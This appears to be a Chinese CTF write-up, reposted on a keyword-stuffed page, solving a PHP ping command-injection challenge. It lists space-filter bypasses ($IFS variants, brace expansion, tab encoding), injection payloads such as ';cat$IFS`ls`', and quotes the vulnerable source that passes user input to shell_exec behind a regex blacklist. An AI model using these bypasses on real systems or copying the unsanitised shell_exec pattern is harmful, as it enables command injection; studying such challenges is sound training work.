当前位置：首页 > wzjs >正文

大淘客做的网站可以吗网站服务器

wzjs 2025/7/22 14:08:34

大淘客做的网站可以吗,网站服务器,郑州网站建设选智巢,一二三四高清视频免费观看解题步骤 1、先使用内敛执行查看当前的php文件执行命令执行发现空格被过滤 ?ip127.0.0.1$IFS|$IFSwhomi 还有一个点就是这个执行的命令是不能进行拼接的可能就是被过滤了 | 所以我们使用 ; 进行绕过一下空格过滤代替 $IFS ${IFS} ${IFS}$9 //这里$1到$9都可以 $IFS$1…

解题步骤

1、先使用内敛执行查看当前的php文件
执行命令执行发现空格被过滤 ?ip=127.0.0.1$IFS|$IFSwhomi
还有一个点就是这个执行的命令是不能进行拼接的可能就是被过滤了 | 所以我们使用 ; 进行绕过一下

空格过滤代替
$IFS
${IFS}
${IFS}$9 //这里$1到$9都可以
$IFS$1 //这里$1到$9都可以
<
<>
{cat,flag.php} //用逗号实现了空格功能，需要用{}括起来
%20 (space) //在shell中无法直接使用%20代替空格，但是在URL编码中可以尝试，tab同理
%09 (tab)
?ip=127.0.0.1;cat$IFS`ls`
内敛执行 ： cat`ls` 就是查看 ls 执行结果的内容 这个其实就能执行拿下flag了

ctrl+u 查看源码
升级：
代码审计

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ // | 拼接执行全部鸡鸡
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
//过滤特殊的符号 preg_match（） 函数表示使用正则进行匹配
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!"); //过滤空格
} else if(preg_match("/bash/", $ip)){ // 不能使用反弹命令 bash
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ //发现 f l a g 都是被过滤的 那我们不能在后面写flag了
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>